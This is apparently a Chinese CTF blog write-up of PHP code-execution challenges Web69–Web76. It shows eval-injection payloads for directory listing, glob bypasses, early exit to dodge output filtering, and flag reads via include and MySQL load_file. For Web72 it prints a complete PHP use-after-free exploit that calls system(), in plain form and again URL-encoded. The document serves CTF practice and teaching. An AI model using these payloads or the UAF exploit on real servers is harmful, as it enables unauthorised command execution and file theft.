​ ban 了 highlight_file、var_dump,那就用 var_export,输出目录结构:

1
2
3
c=var_export(scandir("/"));

#array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

​ 之后 include 包含 /flag.txt 文件即可得到 flag。

# Web70:

​ 通过 var_export 读取文件目录结构,再用 include 包含 /flag.txt,和上面几个题没有任何区别。

# Web71:

​ 附件里给了源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

​ 有几个点需要注意:

1
2
$s = ob_get_contents();//得到缓冲区的数据。
ob_end_clean();//会清除缓冲区的内容,并将缓冲区关闭,但不会输出内容

​ 也就是说,这里需要在执行上面两个函数之前,把程序输出出来就行了,这个时候,就可以选择提前结束掉整个程序,因为缓冲区就是在程序结束之前需要将里面的所有内容全部输出才行:

1
2
3
c=var_export(scandir('/'));exit();

#array ( 0 => '.', 1 => '..', 2 => '.dockerenv', 3 => 'bin', 4 => 'dev', 5 => 'etc', 6 => 'flag.txt', 7 => 'home', 8 => 'lib', 9 => 'media', 10 => 'mnt', 11 => 'opt', 12 => 'proc', 13 => 'root', 14 => 'run', 15 => 'sbin', 16 => 'srv', 17 => 'sys', 18 => 'tmp', 19 => 'usr', 20 => 'var', )

​ 之后就

1
c=include("/flag.txt");exit();

# Web72:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

​ scandir 被禁了,这里没什么思路,不过,这里有大佬通过 glob 伪协议读取了根目录文件名:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flag0.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 通过 include 读取文件的时候发现没有权限,先列一些读取文件的函数吧:

1
2
3
readfile($filename);
$file = fopen("example.txt", "r");$content = fread($file, filesize("example.txt"));fclose($file);
$fileContents = file_get_contents("example.txt");

​ 之后就是利用 uaf 脚本进行命令执行了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
c=?><?php
pwn("ls /;cat /flag0.txt");

function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}

class Helper {
public $a, $b, $c, $d;
}

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf('%c',$ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf('%c',$v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
}

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}

function trigger_uaf($arg) {
# str_shuffle prevents opcache string interning
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}

$n_alloc = 10; # increase this value if UAF fails
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

trigger_uaf('x');
$abc = $backtrace[1]['args'][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}

# leaks
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}

# fake closure object
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}

# pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

($helper->b)($cmd);
exit();
}

​ 直接贴一个 payload:

1
c=%3f%3e%3c%3fphp%0apwn(%22ls+%2f%3bcat+%2fflag0.txt%22)%3b%0a%0afunction+pwn(%24cmd)+%7b%0a++++global+%24abc%2c+%24helper%2c+%24backtrace%3b%0a++++class+Vuln+%7b%0a++++++++public+%24a%3b%0a++++++++public+function+__destruct()+%7b+%0a++++++++++++global+%24backtrace%3b+%0a++++++++++++unset(%24this-%3ea)%3b%0a++++++++++++%24backtrace+%3d+(new+Exception)-%3egetTrace()%3b+%23+%3b)%0a++++++++++++if(!isset(%24backtrace%5b1%5d%5b%27args%27%5d))+%7b+%23+PHP+%3e%3d+7.4%0a++++++++++++++++%24backtrace+%3d+debug_backtrace()%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++class+Helper+%7b%0a++++++++public+%24a%2c+%24b%2c+%24c%2c+%24d%3b%0a++++%7d%0a%0a++++function+str2ptr(%26%24str%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++%24address+%3d+0%3b%0a++++++++for(%24j+%3d+%24s-1%3b+%24j+%3e%3d+0%3b+%24j--)+%7b%0a++++++++++++%24address+%3c%3c%3d+8%3b%0a++++++++++++%24address+%7c%3d+ord(%24str%5b%24p%2b%24j%5d)%3b%0a++++++++%7d%0a++++++++return+%24address%3b%0a++++%7d%0a%0a++++function+ptr2str(%24ptr%2c+%24m+%3d+8)+%7b%0a++++++++%24out+%3d+%22%22%3b%0a++++++++for+(%24i%3d0%3b+%24i+%3c+%24m%3b+%24i%2b%2b)+%7b%0a++++++++++++%24out+.%3d+sprintf(%27%25c%27%2c%24ptr+%26+0xff)%3b%0a++++++++++++%24ptr+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++++++return+%24out%3b%0a++++%7d%0a%0a++++function+write(%26%24str%2c+%24p%2c+%24v%2c+%24n+%3d+8)+%7b%0a++++++++%24i+%3d+0%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24n%3b+%24i%2b%2b)+%7b%0a++++++++++++%24str%5b%24p+%2b+%24i%5d+%3d+sprintf(%27%25c%27%2c%24v+%26+0xff)%3b%0a++++++++++++%24v+%3e%3e%3d+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+leak(%24addr%2c+%24p+%3d+0%2c+%24s+%3d+8)+%7b%0a++++++++global+%24abc%2c+%24helper%3b%0a++++++++write(%24abc%2c+0x68%2c+%24addr+%2b+%24p+-+0x10)%3b%0a++++++++%24leak+%3d+strlen(%24helper-%3ea)%3b%0a++++++++if(%24s+!%3d+8)+%7b+%24leak+%25%3d+2+%3c%3c+(%24s+*+8)+-+1%3b+%7d%0a++++++++return+%24leak%3b%0a++++%7d%0a%0a++++function+parse_elf(%24base)+%7b%0a++++++++%24e_type+%3d+leak(%24base%2c+0x10%2c+2)%3b%0a%0a++++++++%24e_phoff+%3d+leak(%24base%2c+0x20)%3b%0a++++++++%24e_phentsize+%3d+leak(%24base%2c+0x36%2c+2)%3b%0a++++++++%24e_phnum+%3d+leak(%24base%2c+0x38%2c+2)%3b%0a%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24e_phnum%3b+%24i%2b%2b)+%7b%0a++++++++++++%24header+%3d+%24base+%2b+%24e_phoff+%2b+%24i+*+%24e_phentsize%3b%0a++++++++++++%24p_type++%3d+leak(%24header%2c+0%2c+4)%3b%0a++++++++++++%24p_flags+%3d+leak(%24header%2c+4%2c+4)%3b%0a++++++++++++%24p_vaddr+%3d+leak(%24header%2c+0x10)%3b%0a++++++++++++%24p_memsz+%3d+leak(%24header%2c+0x28)%3b%0a%0a++++++++++++if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+6)+%7b+%23+PT_LOAD%2c+PF_Read_Write%0a++++++++++++++++%23+handle+pie%0a++++++++++++++++%24data_addr+%3d+%24e_type+%3d%3d+2+%3f+%24p_vaddr+%3a+%24base+%2b+%24p_vaddr%3b%0a++++++++++++++++%24data_size+%3d+%24p_memsz%3b%0a++++++++++++%7d+else+if(%24p_type+%3d%3d+1+%26%26+%24p_flags+%3d%3d+5)+%7b+%23+PT_LOAD%2c+PF_Read_exec%0a++++++++++++++++%24text_size+%3d+%24p_memsz%3b%0a++++++++++++%7d%0a++++++++%7d%0a%0a++++++++if(!%24data_addr+%7c%7c+!%24text_size+%7c%7c+!%24data_size)%0a++++++++++++return+false%3b%0a%0a++++++++return+%5b%24data_addr%2c+%24text_size%2c+%24data_size%5d%3b%0a++++%7d%0a%0a++++function+get_basic_funcs(%24base%2c+%24elf)+%7b%0a++++++++list(%24data_addr%2c+%24text_size%2c+%24data_size)+%3d+%24elf%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+%24data_size+%2f+8%3b+%24i%2b%2b)+%7b%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+%24i+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27constant%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x746e6174736e6f63)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++%24leak+%3d+leak(%24data_addr%2c+(%24i+%2b+4)+*+8)%3b%0a++++++++++++if(%24leak+-+%24base+%3e+0+%26%26+%24leak+-+%24base+%3c+%24data_addr+-+%24base)+%7b%0a++++++++++++++++%24deref+%3d+leak(%24leak)%3b%0a++++++++++++++++%23+%27bin2hex%27+constant+check%0a++++++++++++++++if(%24deref+!%3d+0x786568326e6962)%0a++++++++++++++++++++continue%3b%0a++++++++++++%7d+else+continue%3b%0a%0a++++++++++++return+%24data_addr+%2b+%24i+*+8%3b%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_binary_base(%24binary_leak)+%7b%0a++++++++%24base+%3d+0%3b%0a++++++++%24start+%3d+%24binary_leak+%26+0xfffffffffffff000%3b%0a++++++++for(%24i+%3d+0%3b+%24i+%3c+0x1000%3b+%24i%2b%2b)+%7b%0a++++++++++++%24addr+%3d+%24start+-+0x1000+*+%24i%3b%0a++++++++++++%24leak+%3d+leak(%24addr%2c+0%2c+7)%3b%0a++++++++++++if(%24leak+%3d%3d+0x10102464c457f)+%7b+%23+ELF+header%0a++++++++++++++++return+%24addr%3b%0a++++++++++++%7d%0a++++++++%7d%0a++++%7d%0a%0a++++function+get_system(%24basic_funcs)+%7b%0a++++++++%24addr+%3d+%24basic_funcs%3b%0a++++++++do+%7b%0a++++++++++++%24f_entry+%3d+leak(%24addr)%3b%0a++++++++++++%24f_name+%3d+leak(%24f_entry%2c+0%2c+6)%3b%0a%0a++++++++++++if(%24f_name+%3d%3d+0x6d6574737973)+%7b+%23+system%0a++++++++++++++++return+leak(%24addr+%2b+8)%3b%0a++++++++++++%7d%0a++++++++++++%24addr+%2b%3d+0x20%3b%0a++++++++%7d+while(%24f_entry+!%3d+0)%3b%0a++++++++return+false%3b%0a++++%7d%0a%0a++++function+trigger_uaf(%24arg)+%7b%0a++++++++%23+str_shuffle+prevents+opcache+string+interning%0a++++++++%24arg+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a++++++++%24vuln+%3d+new+Vuln()%3b%0a++++++++%24vuln-%3ea+%3d+%24arg%3b%0a++++%7d%0a%0a++++if(stristr(PHP_OS%2c+%27WIN%27))+%7b%0a++++++++die(%27This+PoC+is+for+*nix+systems+only.%27)%3b%0a++++%7d%0a%0a++++%24n_alloc+%3d+10%3b+%23+increase+this+value+if+UAF+fails%0a++++%24contiguous+%3d+%5b%5d%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+%24n_alloc%3b+%24i%2b%2b)%0a++++++++%24contiguous%5b%5d+%3d+str_shuffle(%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27)%3b%0a%0a++++trigger_uaf(%27x%27)%3b%0a++++%24abc+%3d+%24backtrace%5b1%5d%5b%27args%27%5d%5b0%5d%3b%0a%0a++++%24helper+%3d+new+Helper%3b%0a++++%24helper-%3eb+%3d+function+(%24x)+%7b+%7d%3b%0a%0a++++if(strlen(%24abc)+%3d%3d+79+%7c%7c+strlen(%24abc)+%3d%3d+0)+%7b%0a++++++++die(%22UAF+failed%22)%3b%0a++++%7d%0a%0a++++%23+leaks%0a++++%24closure_handlers+%3d+str2ptr(%24abc%2c+0)%3b%0a++++%24php_heap+%3d+str2ptr(%24abc%2c+0x58)%3b%0a++++%24abc_addr+%3d+%24php_heap+-+0xc8%3b%0a%0a++++%23+fake+value%0a++++write(%24abc%2c+0x60%2c+2)%3b%0a++++write(%24abc%2c+0x70%2c+6)%3b%0a%0a++++%23+fake+reference%0a++++write(%24abc%2c+0x10%2c+%24abc_addr+%2b+0x60)%3b%0a++++write(%24abc%2c+0x18%2c+0xa)%3b%0a%0a++++%24closure_obj+%3d+str2ptr(%24abc%2c+0x20)%3b%0a%0a++++%24binary_leak+%3d+leak(%24closure_handlers%2c+8)%3b%0a++++if(!(%24base+%3d+get_binary_base(%24binary_leak)))+%7b%0a++++++++die(%22Couldn%27t+determine+binary+base+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24elf+%3d+parse_elf(%24base)))+%7b%0a++++++++die(%22Couldn%27t+parse+ELF+header%22)%3b%0a++++%7d%0a%0a++++if(!(%24basic_funcs+%3d+get_basic_funcs(%24base%2c+%24elf)))+%7b%0a++++++++die(%22Couldn%27t+get+basic_functions+address%22)%3b%0a++++%7d%0a%0a++++if(!(%24zif_system+%3d+get_system(%24basic_funcs)))+%7b%0a++++++++die(%22Couldn%27t+get+zif_system+address%22)%3b%0a++++%7d%0a%0a++++%23+fake+closure+object%0a++++%24fake_obj_offset+%3d+0xd0%3b%0a++++for(%24i+%3d+0%3b+%24i+%3c+0x110%3b+%24i+%2b%3d+8)+%7b%0a++++++++write(%24abc%2c+%24fake_obj_offset+%2b+%24i%2c+leak(%24closure_obj%2c+%24i))%3b%0a++++%7d%0a%0a++++%23+pwn%0a++++write(%24abc%2c+0x20%2c+%24abc_addr+%2b+%24fake_obj_offset)%3b%0a++++write(%24abc%2c+0xd0+%2b+0x38%2c+1%2c+4)%3b+%23+internal+func+type%0a++++write(%24abc%2c+0xd0+%2b+0x68%2c+%24zif_system)%3b+%23+internal+func+handler%0a%0a++++(%24helper-%3eb)(%24cmd)%3b%0a++++exit()%3b%0a%7d

# Web73:

​ 又是,没源码,那就 glob 遍历文件目录吧,当然 var_export 也可以做到这里没有被 ban:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flagc.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 突然发现 include 读取文件又可以了,直接读:

1
c=indlude("/flagc.txt");exit();

# Web74:

​ 这一题 ban 了 scandir,那就直接 glob 绕过:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flagx.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 之后 include 去读。

# Web75:

​ glob 读根目录结构:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flag36.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 多次测试,发现无法读取文件,可以试着利用 mysql 去读取文件:

1
2
3
4
5
6
7
8
9
10
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();

​ 简单解释一下这个 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
try {
// 使用PDO(PHP Data Objects)创建一个新的数据库连接对象,指定DSN、用户名(root)和密码(root)
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');

// 执行一个SQL查询,从指定的文件(/flag36.txt)中读取内容
foreach($dbh->query('select load_file("/flag36.txt")') as $row) {
// 输出读取到的内容,并追加一个竖线(|)
echo($row[0])."|";
}

// 将数据库连接对象设置为null,关闭连接
$dbh = null;
} catch (PDOException $e) {
// 如果发生PDO异常,输出错误信息
echo $e->getMessage();
// 终止脚本执行
die();
}

// 终止脚本执行
exit();

# Web76:

​ 还是 glob 读文件:

1
2
3
c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;}exit();

#bin dev etc flag36d.txt home lib media mnt opt proc root run sbin srv sys tmp usr var

​ 还是老样子,MySQL 读文件一把梭:

1
2
3
4
5
6
7
8
9
10
c=try {
$dbh = new PDO('mysql:host=localhost;dbname=information_schema', 'root', 'root');
foreach($dbh->query('select load_file("/flag36d.txt")') as $row) {
echo($row[0])."|";
}
$dbh = null;
} catch (PDOException $e) {
echo $e->getMessage();
die();
};exit();

# 一些总结文章:

总结 rce(远程代码执行各种 sao 姿势)绕过 bypass

更新于

请我喝[茶]~( ̄▽ ̄)~*

g01den 微信支付

微信支付

g01den 支付宝

支付宝

g01den 贝宝

贝宝